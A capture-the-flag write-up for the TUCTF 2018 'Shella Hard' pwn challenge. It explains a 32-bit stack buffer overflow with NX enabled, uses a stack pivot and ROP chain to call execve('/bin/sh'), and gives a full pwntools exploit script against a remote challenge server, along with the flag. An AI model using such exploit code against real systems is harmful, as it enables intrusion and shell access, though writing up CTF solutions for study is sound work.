[](ctf=tu-ctf-2018)[](type=pwn)[](tags=stack-pivot,buffer-overflow,rop)[](tools=radare2,gdb-peda,pwntools,python)
# Shella Hard
We are given a [binary](../shella-hard) with `NX` enabled and a stack based buffer overflow.
```bashvagrant@amy:~/share/shella_hard$ file shella-hardshella-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4bf12a273afc940e93699d77a19496b781e88246, not stripped```
```bashgdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial```
The binary has `execve` in the binary's GOT which allows us to easily create a ROP chain to get a shell.
```bashvagrant@amy:~/share/shella_hard$ objdump -R shella-hard
shella-hard:     file format elf32-i386
DYNAMIC RELOCATION RECORDSOFFSET   TYPE              VALUE08049ffc R_386_GLOB_DAT    __gmon_start__0804a00c R_386_JUMP_SLOT   read@GLIBC_2.00804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.00804a014 R_386_JUMP_SLOT   execve@GLIBC_2.0```
The initial read is too small for a ROP chain and therefore we have to retun to `read` and write our ROP chain using a stack pivot. Any 'rw-' section of the binary can be used for storing the ROP chain.
```pythonfrom pwn import *
context(arch='i386', os='linux')# p = process('./shella-hard')p = remote('3.16.169.157', 12345)
execve = 0x08048320cmd = 0x8048500 # /bin/shstack = 0x0804a000 + 600 # rw- + stack space. it's# crashing in ld.so for some reason if stack space is smallread_main = 0x08048443 # lea eax, ebp-0x10
payload = ''payload += 'a' * 0x10payload += p32(stack) # overwrites ebppayload += p32(read_main)payload += p32(100)
p.sendline(payload)
payload = ''payload += 'a' * 0x10payload += 'a' * 4payload += p32(execve)payload += 'a' * 4payload += p32(cmd)payload += p32(0x0)payload += p32(0x0)
p.sendline(payload)p.interactive()```
Flag> TUCTF{175_wh475_1n51d3_7h47_c0un75}